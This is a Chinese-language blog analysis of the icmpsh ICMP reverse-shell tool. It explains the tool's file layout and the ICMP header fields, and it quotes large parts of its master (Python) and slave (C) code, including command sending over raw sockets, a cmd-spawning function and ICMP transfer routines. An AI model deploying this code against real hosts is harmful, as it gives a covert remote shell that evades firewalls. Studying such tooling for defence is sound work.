工具分析之icmpsh

文件结构及功能介绍

文件关系

  • run.sh Linux环境中用于调用icmp-m.py,并在调用之前开启icmp_echo_ignore_all在调用之后关闭icmp_echo_ignore_all。
  • icmpsh-m.py 用于接收客户端icmpsh.exe发过来的信息并向其发送命令
  • icmpsh-m.c imcpsh-m.py的C语言版
  • icmpsh.exe 运行于Windows系统的客户端 ,用于执行服务端发过来的命令及将执行结果发送回去
  • icmpsh-s.c icmpsh.exe的源码

icmpsh的目标主机只能运行于Windows平台,控制端只能运行于Linux平台

关键点介绍

ICMP

ICMP报文结构
Type
8 for echo message;
0 for echo reply message.
Identifier
为标识符,由主机设定,一般设置为进程号,回送应答报文与回送请求报文中identifier保持一致
Sequence
由主机设定,一般设为由0递增的序列,回送响应报文与回送请求报文中Sequence Number保持一致

icmpsh-m.py

  • setNonBlocking()
def setNonBlocking(fd):
    """
    Make a file descriptor non-blocking
    """

    import fcntl #fcntl用于该表文件描述符的各种属性

    flags = fcntl.fcntl(fd, fcntl.F_GETFL)
    flags = flags | os.O_NONBLOCK #设置此文件描述符为非阻塞模式
    fcntl.fcntl(fd, fcntl.F_SETFL, flags)

非阻塞模式下read与write函数的表现如下:

  1. 即使缓冲区中没有数据read函数也不会阻塞而会返回0
  2. 即使缓冲区剩余空间小于要写入字节write函数也不会阻塞而会返回可以写入的字节数

下面两段代码可以有效说明setNonBlocking函数的作用:
阻塞非阻塞

  • raw_socket
    相关代码段如下
	try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
    except socket.error, e:
        sys.stderr.write('You need to run icmpsh master with administrator privileges\n')
        sys.exit(1)

原始套接字可以操作运输层以下的报文数据,而ICMP报文就是位与传输层之下:
五层网络结构

  • sock.setblocking(0)

Set blocking or non-blocking mode of the socket: if flag is 0, the socket is set to non-blocking, else to blocking mode. Initially all sockets are in blocking mode. In non-blocking mode, if a recv() call doesn’t find any data, or if a send() call can’t immediately dispose of the data, an error exception is raised; in blocking mode, the calls block until they can proceed. s.setblocking(0) is equivalent to s.settimeout(0.0); s.setblocking(1) is equivalent to s.settimeout(None).

即将sock设置为非阻塞模式

  • select()

This is a straightforward interface to the Unix select() system call. The first three arguments are sequences of ‘waitable objects’: either integers representing file descriptors or objects with a parameterless method named fileno() returning such an integer:

  • rlist: wait until ready for reading
  • wlist: wait until ready for writing
  • xlist: wait for an “exceptional condition” (see the manual page for what your system considers such a condition)

Empty sequences are allowed, but acceptance of three empty sequences is platform-dependent. (It is known to work on Unix but not on Windows.) The optional timeout argument specifies a time-out as a floating point number in seconds. When the timeout argument is omitted the function blocks until at least one file descriptor is ready. A time-out value of zero specifies a poll and never blocks.
The return value is a triple of lists of objects that are ready: subsets of the first three arguments. When the time-out is reached without a file descriptor becoming ready, three empty lists are returned.

select用于返回准备好的IO行为的文件描述符

  • sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
    设置socket选项使其可以包含IP数据报头部。
  • 下述代码判断包的发送方是否为客户端主机并判断包的类型,如果是的话则获得icmp的id及sequence供发送响应包时使用,并获得icmp包的数据显示到终端
 			if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():
                # Get identifier and sequence number
                ident = icmppacket.get_icmp_id()
                seq_id = icmppacket.get_icmp_seq()
                data = icmppacket.get_data_as_string()

                if len(data) > 0:
                    sys.stdout.write(data)
  • 下述代码获得终端输入的命令并作为icmp包的数据发送回去,发送之前要设置id及sequence并设置校验码并发送到客户端
				try:
                    cmd = sys.stdin.readline()
                except:
                    pass

                if cmd == 'exit\n':
                    return

                # Set sequence number and identifier
                icmp.set_icmp_id(ident)
                icmp.set_icmp_seq(seq_id)

                # Include the command as data inside the ICMP packet
                icmp.contains(ImpactPacket.Data(cmd))

                # Calculate its checksum
                icmp.set_icmp_cksum(0)
                icmp.auto_checksum = 1

                # Have the IP packet contain the ICMP packet (along with its payload)
                ip.contains(icmp)

                # Send it to the target host
                sock.sendto(ip.get_packet(), (dst, 0))

icmpsh-s.c

  • load_deps函数加载动态链接库导入to_ip,icmp_create,icmp_send函数,主要使用到了LoadLibraryA及GetProcAddress两个函数,这时加载动态链接库并获取其中函数时常用的两个函数。
int load_deps()
{
	HMODULE lib;
	
	lib = LoadLibraryA("ws2_32.dll");
	if (lib != NULL) {
        to_ip = GetProcAddress(lib, "inet_addr");
        if (!to_ip) {   
            return 0;
        }
    }

	lib = LoadLibraryA("iphlpapi.dll");
	if (lib != NULL) {
		icmp_create = GetProcAddress(lib, "IcmpCreateFile");
		icmp_send = GetProcAddress(lib, "IcmpSendEcho");
		if (icmp_create && icmp_send) {
			return 1;
		}
	} 

	lib = LoadLibraryA("ICMP.DLL");
	if (lib != NULL) {
		icmp_create = GetProcAddress(lib, "IcmpCreateFile");
		icmp_send = GetProcAddress(lib, "IcmpSendEcho");
		if (icmp_create && icmp_send) {
			return 1;
		}
	}
	
	printf("failed to load functions (%u)", GetLastError());

	return 0;
}
  • spawn_shell函数主要开启一个终端子进程好执行系统命令
int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write)
{
	SECURITY_ATTRIBUTES sattr;
	STARTUPINFOA si;
	HANDLE in_read, out_write;

	memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES));
	memset(pi, 0x00, sizeof(PROCESS_INFORMATION));
    
	// create communication pipes  
	memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES));
	sattr.nLength = sizeof(SECURITY_ATTRIBUTES); 
	sattr.bInheritHandle = TRUE; 
	sattr.lpSecurityDescriptor = NULL; 

	if (!CreatePipe(out_read, &out_write, &sattr, 0)) {
		return STATUS_PROCESS_NOT_CREATED;
	}
	if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) {
		return STATUS_PROCESS_NOT_CREATED;
	}

	if (!CreatePipe(&in_read, in_write, &sattr, 0)) {
		return STATUS_PROCESS_NOT_CREATED;
	}
	if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) {
		return STATUS_PROCESS_NOT_CREATED;
	}

	// spawn process
	memset(&si, 0x00, sizeof(STARTUPINFO));
	si.cb = sizeof(STARTUPINFO); 
	si.hStdError = out_write;
	si.hStdOutput = out_write;
	si.hStdInput = in_read;
	si.dwFlags |= STARTF_USESTDHANDLES;

	if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) {
		return STATUS_PROCESS_NOT_CREATED;
	}

	CloseHandle(out_write);
	CloseHandle(in_read);

	return STATUS_OK;
}

  • transfer_icmp函数要用用于icmp数据包的收发工作
int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout)
{
	int rs;
	char *temp_in_buf;
	int nbytes;

	PICMP_ECHO_REPLY echo_reply;

	temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE);
	if (!temp_in_buf) {
		return TRANSFER_FAILURE;
	}

	// send data to remote host
	rs = icmp_send(
			icmp_chan,
			target,
			out_buf,
			out_buf_size,
			NULL,
			temp_in_buf,
			max_in_data_size + ICMP_HEADERS_SIZE,
			timeout);

		// check received data
		if (rs > 0) {
			echo_reply = (PICMP_ECHO_REPLY) temp_in_buf;
			if (echo_reply->DataSize > max_in_data_size) {
				nbytes = max_in_data_size;
			} else {
				nbytes = echo_reply->DataSize;
			}
			memcpy(in_buf, echo_reply->Data, nbytes);
			*in_buf_size = nbytes;

			free(temp_in_buf);
			return TRANSFER_SUCCESS;
		}

		free(temp_in_buf);

    return TRANSFER_FAILURE;
}
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值